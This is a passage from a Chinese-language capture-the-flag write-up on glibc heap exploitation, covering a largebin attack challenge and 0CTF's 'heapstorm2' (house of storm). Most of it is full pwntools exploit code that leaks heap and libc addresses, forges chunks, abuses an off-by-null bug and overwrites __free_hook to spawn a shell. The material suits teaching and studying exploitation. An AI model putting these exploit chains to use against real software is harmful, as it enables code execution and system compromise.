dele(0x6 ) add(0x300 , '\x00' ) add(0x300 , '\x00' ) add(0x300 , '\x00' ) add(0x300 , '\x00' ) add(0x300 , '/bin/sh' ) dele(0x1 ) add(0x300 , '\x00' *0x1d0 +p64(LIBC+0x4526a )) dele(15 ) io.interactive()
1、首先是泄露堆地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 add(0x60 , '0' *0x60 ) add(0x60 , '1' *0x60 ) add(0x60 , '2' *0x60 ) add(0x60 , '3' *0x60 ) add(0x60 , '4' *0x60 ) add(0x60 , '5' *0x60 ) add(0x60 , '6' *0x60 ) add(0x3f0 , '7' *0x3f0 ) add(0x30 , '8' *0x30 ) add(0x3e0 , '9' *0x3d0 ) add(0x30 , 'a' *0x30 ) add(0x3f0 , 'b' *0x3e0 ) add(0x30 , 'c' *0x30 ) dele(0x9 ) dele(0xb ) dele(0x0 ) add(0x400 , '0' *0x400 ) show(0xb ) io.recvuntil('num: ' ) print(hex(c_uint32(int(io.recvline()[:-1 ])).value)) io.recvuntil('description:' ) HEAP = u64(io.recvline()[:-1 ]+'\x00\x00' )-0x7e0 log.info("heap base 0x%016x" % HEAP)
可以看到正好是description位置处,利用bins的回收重分配机制,我们实现了第一步。
2、利用堆地址进行largebin的attack:
记清楚这4个我们待会要操作的堆块
1 2 3 4 target_addr = HEAP+0xb0 chunk1_addr = HEAP+0x130 chunk2_addr = HEAP+0x1b0 victim_addr = HEAP+0xc30
chunk1和chunk2是我们需要伪造的fake_chunk。
1 2 edit(0xb , p64(chunk1_addr)) edit(0x1 , p64(0x0 )+p64(chunk1_addr))
这一步实现了修改bk_nextsize,链接到HEAP+0x130位置处,同时把指针写入到target堆地址中
1 2 3 4 5 6 7 chunk2 = p64(0x0 ) chunk2 += p64(0x0 ) chunk2 += p64(0x421 ) chunk2 += p64(0x0 ) chunk2 += p64(0x0 ) chunk2 += p64(chunk1_addr) edit(0x3 , chunk2)
在0x1b0的位置实现了fake_chunk2的伪造,fd_nextsize指向0x130
1 2 3 4 5 6 7 8 9 10 chunk1 = '' chunk1 += p64(0x0 ) chunk1 += p64(0x0 ) chunk1 += p64(0x411 ) chunk1 += p64(target_addr-0x18 ) chunk1 += p64(target_addr-0x10 ) chunk1 += p64(victim_addr) chunk1 += p64(chunk2_addr) edit(0x2 , chunk1)
这里在0x130位置处实现了fake_chunk1的伪造,同时把FD,BK,fd_nextsize和bk_nextsize都伪造好了,这样largebin的纵向列表就构造好了,横向列表也构造好了。这里重点是纵向列表,如图:
1 edit(0x7 , '7' *0x198 +p64(0x410 )+p64(0x411 ))
写入size,刚好前一个是HEAP+0x130(size为0x410)。
再次申请时,根据从小到大遍历,会找到HEAP+0x130的fake_chunk堆块并取出来,实现unlink操作,那么就可以控制这个HEAP+0x130处的堆块了,从而有很大的溢出空间,就可以泄露地址了,把下一个的size位覆盖一下成0xdeadbeefdeadbeef,变成没有0截断,然后再次申请一个0x60,让0x7f的地址写入到堆块的FD指针,即可泄露:
1 2 3 4 5 6 7 8 add(0x3f0 , '3' *0x30 +p64(0xdeadbeefdeadbeef )) add(0x60 , '6' *0x60 ) show(0x3 ) io.recvuntil('3' *0x30 ) io.recv(8 ) LIBC = u64(io.recv(6 )+'\x00\x00' )-0x3c4be8 log.info("libc base 0x%016x" % LIBC)
接着我们修复下堆块,把0x80的堆块的FD改为0x60,下一次再次申请0x60的堆块,就会把0x60的数字写入到main_arena+56处,从而可以伪造出一个0x60大小的chunk块的size。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 junk = '' junk += '3' *0x30 junk += p64(0x81 ) junk += p64(LIBC+0x3c4be8 ) junk += p64(HEAP+0x300 ) junk = junk.ljust(0xa8 , 'A' ) junk += p64(0x80 ) recovery = '' recovery += junk recovery += p64(0x80 ) recovery += p64(0x60 ) dele(0x5 ) dele(0x4 ) debug(0 ) edit(0x3 , recovery)
伪造size为0x70,FD置为0,并切割,使得不满足0x60的size
1 2 3 4 5 6 recovery = '' recovery += junk recovery += p64(0x70 ) recovery += p64(0x0 ) edit(0x3 , recovery) add(0x40 , '5' *0x30 )
再释放掉5号块(已修改为0x60大小),接着往它的FD写入刚刚伪造的0x60size的main_arena上的chunk,再申请2次即可往fake_chunk写入内容,也就是写入free_hook上方一些的topchunk地址,这样就实现了改heap下的topchunk的地址,下一次申请时就会从main_arena的topchunk地址处开始切割
1 2 3 4 5 6 7 8 dele(0x5 ) recovery = '' recovery += '3' *0x30 recovery += p64(0x61 ) recovery += p64(LIBC+0x3c4b50 ) edit(0x3 , recovery) add(0x40 , '5' *0x30 ) add(0x40 , p64(LIBC+0x3c5c50 ))
现在修改后:
接下来一路申请就可以一步步靠近我们的free_hook了,申请到了free_hook的区域后,改写为system,再free一个有binsh的堆块既可实现getshell。
复原伪造的largebin的attack,并腾出空间:
1 2 edit(0xb , p64(HEAP+0x7e0 )) dele(0x6 )
最后是改free_hook
1 2 3 4 5 6 7 8 9 add(0x300 , '\x00' ) add(0x300 , '\x00' ) add(0x300 , '\x00' ) add(0x300 , '\x00' ) add(0x300 , '/bin/sh' ) dele(0x1 ) add(0x300 , '\x00' *0x1d0 +p64(LIBC+0x4526a )) dele(15 ) io.interactive()
以上就是对于这题的一个解答,总结如下:
通过伪造largebin再申请出largebin进行溢出攻击,然后结合fastbin的attack,修改topchunk的地址,接着改free_hook为onegadget。
下一题:
0CTF的一道house 0f storm: 这道题质量很高
先查看保护机制:
保护全开,接着ida分析程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 signed __int64 initial () { signed int i; int fd; setvbuf(stdin , 0L L, 2 , 0L L); setvbuf(_bss_start, 0L L, 2 , 0L L); alarm(0x3C u); puts ( " __ __ _____________ __ __ ___ ____\n" " / //_// ____/ ____/ | / / / / / | / __ )\n" " / ,< / __/ / __/ / |/ / / / / /| | / __ |\n" " / /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /\n" "/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/\n" ); puts ("===== HEAP STORM II =====" ); if ( !mallopt(1 , 0 ) ) exit (-1 ); if ( mmap(0x13370000 , 0x1000 uLL, 3 , 34 , -1 , 0L L) != 322371584 ) exit (-1 ); fd = open ("/dev/urandom" , 0 ); if ( fd < 0 ) exit (-1 ); if ( read (fd, 0x13370800 , 0x18 uLL) != 0x18 ) exit (-1 ); close (fd); MEMORY[0x13370818 ] = MEMORY[0x13370810 ]; for ( i = 0 ; i <= 15 ; ++i ) { *(0x10 * (i + 2L L) + 0x13370800 ) = xorchunk(0x13370800 , 0L L); *(0x10 * (i + 2L L) + 0x13370808 ) = xorsize(0x13370800 LL, 0L L); } return 0x13370800 LL; }
通过分析初始化函数,我们可以知道,程序申请了一个大堆块,用来存放我们申请的堆指针,其中在0x13370800到0x13370820内容都是随机数,然后我们堆块起始位置是0x13370820,size起始位置是0x13370828,初始化了随机数,依次往下,我们只有16个堆块可以操作,如图所示:
依然是4个功能,我们可以一个个看:
1、calloc: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 void __fastcall Allocate (chunk *mmap) { signed int i; signed int size ; void *ptr; for ( i = 0 ; i <= 15 ; ++i ) { if ( !xorsize(mmap, mmap[i + 2 ].size ) ) { printf ("Size: " ); size = get_long(); if ( size > 12 && size <= 4096 ) { ptr = calloc (size , 1u LL); if ( !ptr ) exit (-1 ); mmap[i + 2 ].size = xorsize(mmap, size ); mmap[i + 2L L].ptr = xorchunk(mmap, ptr); printf ("Chunk %d Allocated\n" , i); } else { puts ("Invalid Size" ); } return ; } } }
知道了calloc,我们特地定义了结构体方便理解:
2、update: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int __fastcall Update (chunk *mmap) { chunk *v2; char *v3; signed int idx; int size ; printf ("Index: " ); idx = get_long(); if ( idx < 0 || idx > 15 || !xorsize(mmap, mmap[idx + 2 ].size ) ) return puts ("Invalid Index" ); printf ("Size: " ); size = get_long(); if ( size <= 0 || size > (xorsize(mmap, mmap[idx + 2 ].size ) - 0xC ) ) return puts ("Invalid Size" ); printf ("Content: " ); v2 = xorchunk(mmap, mmap[idx + 2L L].ptr); read_n(v2, size ); v3 = v2 + size ; *v3 = 'ROTSPAEH'; *(v3 + 2) = 'II_M'; v3[12 ] = 0 ; return printf ("Chunk %d Updated\n" , idx); }
这里很明显的漏洞,就是输入满了后,有个0ffbynull漏洞,但是每次输入完,都会在末尾加上12个字节才能触发0ffbynull
3、Free 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __fastcall Delete (chunk *mmap) { void *ptr; signed int idx; printf ("Index: " ); idx = get_long(); if ( idx < 0 || idx > 15 || !xorsize(mmap, mmap[idx + 2 ].size ) ) return puts ("Invalid Index" ); ptr = xorchunk(mmap, mmap[idx + 2L L].ptr); free (ptr); mmap[idx + 2L L].ptr = xorchunk(mmap, 0L L); mmap[idx + 2 ].size = xorsize(mmap, 0L L); return printf ("Chunk %d Deleted\n" , idx); }
这里free完后又初始化为随机数,相当于清空了指针和size,没有漏洞
4、View 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __fastcall View (chunk *mmap) { __int64 size ; __int64 ptr; signed int idx; if ( (mmap[1 ].size ^ mmap[1 ].ptr) != 0x13377331 ) return puts ("Permission denied" ); printf ("Index: " ); idx = get_long(); if ( idx < 0 || idx > 15 || !xorsize(mmap, mmap[idx + 2 ].size ) ) return puts ("Invalid Index" ); printf ("Chunk[%d]: " , idx); size = xorsize(mmap, mmap[idx + 2 ].size ); ptr = xorchunk(mmap, mmap[idx + 2L L].ptr); write_n(ptr, size ); return puts (byte_180A); }
这里明显是不能使用show函数,得改了才能使用这个函数进行泄露。
好了,程序分析完了,流程也清楚了,下面就是怎么利用offbynull去打题了,大概的思路如下:
1、利用offbynull,shrink the chunk(无法extend,因为presize被覆盖了字符,不能控制),造成对used态的堆块的修改
2、伪造largebin的bk_nextsize和bk指针,利用堆块插入时unlink,实现任意地址写堆地址,从而伪造出fake_chunk的size,fake_chunk肯定是mmap上面的地址啦
3、改写unsorted bin中堆块的bk指针,指向fake_chunk,就能看size申请出fake_chunk
4、申请出fake_chunk,就能改view函数的那个异或关卡,实现调用view函数泄露地址
5、通过改ptr位置为free_hook,然后update时就会改free_hook为onegadget,从而getshell
具体看exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 from pwn import *context.log_level = 'debug' context(arch='amd64' , os='linux' ) local = 1 elf = ELF('./heapstorm2' ) if local: p = process('./heapstorm2' ) libc = elf.libc else : p = remote('192.168.100.20' ,50001 ) libc = ELF('./libc-2.18.so' ) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(p.pid)).readlines()[1 ], 16 ) gdb.attach(p,'b *{}' .format(hex(text_base+addr))) else : gdb.attach(p,"b *{}" .format(hex(addr))) def bk (addr) : gdb.attach(p,"b *" +str(hex(addr))) def malloc (size) : ru("Command: " ) sl('1' ) ru("Size: " ) sl(str(size)) def free (index) : ru("Command: " ) sl('3' ) ru("Index: " ) sl(str(index)) def update (index,size,content) : ru("Command: " ) sl('2' ) ru("Index: " ) sl(str(index)) ru("Size: " ) sl(str(size)) ru("Content: " ) sl(content) def show (index) : ru("Command: " ) sl('4' ) ru("Index: " ) sl(str(index)) mmap_addr = 0x13370800 def pwn () : malloc(0x18 ) malloc(0x520 ) malloc(0x18 ) malloc(0x18 ) malloc(0x520 ) malloc(0x18 ) malloc(0x18 ) py = '' py += 'a' *0x4f0 py += p64(0x500 ) + p64(0x30 ) update(1 ,len(py),py) free(1 ) update(0 ,0x18 -0xc ,(0x18 -0xc )*'a' ) malloc(0x60 ) malloc(0x480 ) free(1 ) free(2 ) malloc(0x540 ) py = '' py += '\x00' *0x60 py += p64(0 ) + p64(0x491 ) py += '\x00' *0x480 py += p64(0x490 ) + p64(0x51 ) update(1 ,len(py),py) py = '' py += 'a' *0x4f0 py += p64(0x500 ) + p64(0x30 ) update(4 ,len(py),py) free(4 ) update(3 ,0x18 -0xc ,(0x18 -0xc )*'b' ) malloc(0x70 ) malloc(0x470 ) free(2 ) free(5 ) malloc(0x540 ) py = '' py += '\x00' *0x70 py += p64(0 ) + p64(0x481 ) py += '\x00' *0x470 py += p64(0x480 ) + p64(0x51 ) update(2 ,len(py),py) free(4 ) malloc(0x580 ) free(7 ) py = '' py += '\x00' *0x60 py += p64(0 ) + p64(0x491 ) py += p64(0 ) + p64(mmap_addr-0x10 ) py += '\x00' *0x470 py += p64(0x490 ) + p64(0x50 ) update(1 ,len(py),py) py = '' py += '\x00' *0x70 py += p64(0 ) + p64(0x481 ) py += p64(0 ) + p64(mmap_addr-0x10 +8 ) py += p64(0 ) + p64(mmap_addr-0x10 -0x18 -5 ) py += '\x00' *0x450 py += p64(0x480 ) + p64(0x50 ) update(2 ,len(py),py) malloc(0x48 ) py = '' py += p64(0 ) + p64(0 ) py += p64(0x13377331 ) + p64(0 ) py += p64(0x13370820 ) update(5 ,len(py),py) py = '' py += p64(0x13370820 ) + p64(8 ) py += p64(0x133707f0 +3 ) + p64(8 ) update(0 ,len(py),py) show(1 ) ru("Chunk[1]: " ) heap = u64(rc(8 )) - 0x90 print "heap--->" + hex(heap) py = '' py += p64(0x13370820 ) + p64(8 ) py += p64(heap+0xa0 ) + p64(8 ) update(0 ,len(py),py) show(1 ) ru("Chunk[1]: " ) libc_base = u64(rc(8 )) - 0x3c4b78 print "libc_base--->" + hex(libc_base) free_hook = libc_base + libc.sym["__free_hook" ] onegadget = libc_base + 0xf02a4 py = '' py += p64(0x13370820 ) + p64(8 ) py += p64(free_hook) + p64(8 ) update(0 ,len(py),py) update(1 ,8 ,p64(onegadget)) free(6 ) i = 0 while 1 : i += 1 print i try : pwn() except Exception as e: p.close() if local: p = process('./heapstorm2' ) libc = elf.libc else : p = remote('192.168.100.20' ,50001 ) libc = ELF('./libc-2.18.so' ) continue else : sl("ls" ) break p.interactive()
下面就解释下,exp中的每一步是在实现什么东西:
首先得有2个大堆块,作为largebin的堆块,因为presize无法控制,所以我们就shrink the chunk,先缩小堆块,然后再unlink合并,这里free时的nextsize要设置好。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 malloc(0x18 ) malloc(0x520 ) malloc(0x18 ) malloc(0x18 ) malloc(0x520 ) malloc(0x18 ) malloc(0x18 ) py = '' py += 'a' *0x4f0 py += p64(0x500 ) + p64(0x30 ) update(1 ,len(py),py) free(1 ) update(0 ,0x18 -0xc ,(0x18 -0xc )*'a' ) malloc(0x60 ) malloc(0x480 ) free(1 ) free(2 ) malloc(0x540 ) py = '' py += '\x00' *0x60 py += p64(0 ) + p64(0x491 ) py += '\x00' *0x480 py += p64(0x490 ) + p64(0x51 ) update(1 ,len(py),py)
这样得到的0x540的1号堆块就能往下写从而修改free状态的7号块的fd和bk那些指针,第二个largebin一样的原理,但是要注意,这两个构造的largebin大小要不一样。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 py = '' py += 'a' *0x4f0 py += p64(0x500 ) + p64(0x30 ) update(4 ,len(py),py) free(4 ) update(3 ,0x18 -0xc ,(0x18 -0xc )*'b' ) malloc(0x70 ) malloc(0x470 ) free(2 ) free(5 ) malloc(0x540 ) py = '' py += '\x00' *0x70 py += p64(0 ) + p64(0x481 ) py += '\x00' *0x470 py += p64(0x480 ) + p64(0x51 ) update(2 ,len(py),py)
部署好后,应该是这样的堆块布局:得到0x491和0x481的largebin
1 2 3 free(4 ) malloc(0x580 ) free(7 )
4号放largebin,7号放unsorted bin
1 2 3 4 5 6 7 py = '' py += '\x00' *0x60 py += p64(0 ) + p64(0x491 ) py += p64(0 ) + p64(mmap_addr-0x10 ) py += '\x00' *0x470 py += p64(0x490 ) + p64(0x50 ) update(1 ,len(py),py)
这里是改unsortedbin的bk指针为我们伪造的fake_chunk的地址
1 2 3 4 5 6 7 8 py = '' py += '\x00' *0x70 py += p64(0 ) + p64(0x481 ) py += p64(0 ) + p64(mmap_addr-0x10 +8 ) py += p64(0 ) + p64(mmap_addr-0x10 -0x18 -5 ) py += '\x00' *0x450 py += p64(0x480 ) + p64(0x50 ) update(2 ,len(py),py)
改largebin的bk和bk_nextsize指针,当新的堆块插进largebin时,会在(mmap_addr-0x10+8)的fd处写入堆地址,同样在(mmap_addr-0x10-0x18-5)的fd_nextsize写入堆地址(成功伪造出fake_chunk的size头),实现largebin的attack。
这一步是触发largebin的attack,先遍历unsotedbin,发现有我们释放的largebin大小的堆块,但是因为不是last remainer,所以无法切割给用户,就会插入到largebin,触发攻击,在(mmap_addr-0x10-0x18-5)的fd_nextsize写入堆地址,由于剩下我们的bk所指的fake_chunk在main_arena上,此时fake_chunk由于largebin的攻击,已经有size头了,当我们malloc(0x48)时,就会把fake_chunk申请出来,接着就可以开始操作了,但是有时候会失败,所以我写了个小型爆破。
可以看到fake_chunk的头是0x56大小
这里0x13370800正是放随机数的地址,我们写成0,这样每次异或得到都是本身,同时改0x13370810和0x13370818为0x13377331和0,就可以使用view函数打印地址了,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 py = '' py += p64(0 ) + p64(0 ) py += p64(0x13377331 ) + p64(0 ) py += p64(0x13370820 ) update(5 ,len(py),py) py = '' py += p64(0x13370820 ) + p64(8 ) py += p64(0x133707f0 +3 ) + p64(8 ) update(0 ,len(py),py) ru("Chunk[1]: " ) heap = u64(rc(8 )) - 0x90 print "heap--->" + hex(heap)
泄露libc原理一样:
1 2 3 4 5 6 7 8 9 10 py = '' py += p64(0x13370820 ) + p64(8 ) py += p64(heap+0xa0 ) + p64(8 ) update(0 ,len(py),py) show(1 ) ru("Chunk[1]: " ) libc_base = u64(rc(8 )) - 0x3c4b78 print "libc_base--->" + hex(libc_base)free_hook = libc_base + libc.sym["__free_hook" ] onegadget = libc_base + 0xf02a4
最后改free_hook为onegadget,free实现getshell:
1 2 3 4 5 6 py = '' py += p64(0x13370820 ) + p64(8 ) py += p64(free_hook) + p64(8 ) update(0 ,len(py),py) update(1 ,8 ,p64(onegadget)) free(6 )
总结:
house of storm就是结合largebin的插入实现任意地址写堆地址和unsorted bin的非lastremainer不切割的一种攻击方式,能实现申请出一个不可控的地址的堆块(需要伪造size和bk指针)从而修改数据,比较巧妙,也挺有趣,关键指针布局好,堆块就能出来,搞清楚了堆块布局就可以实现。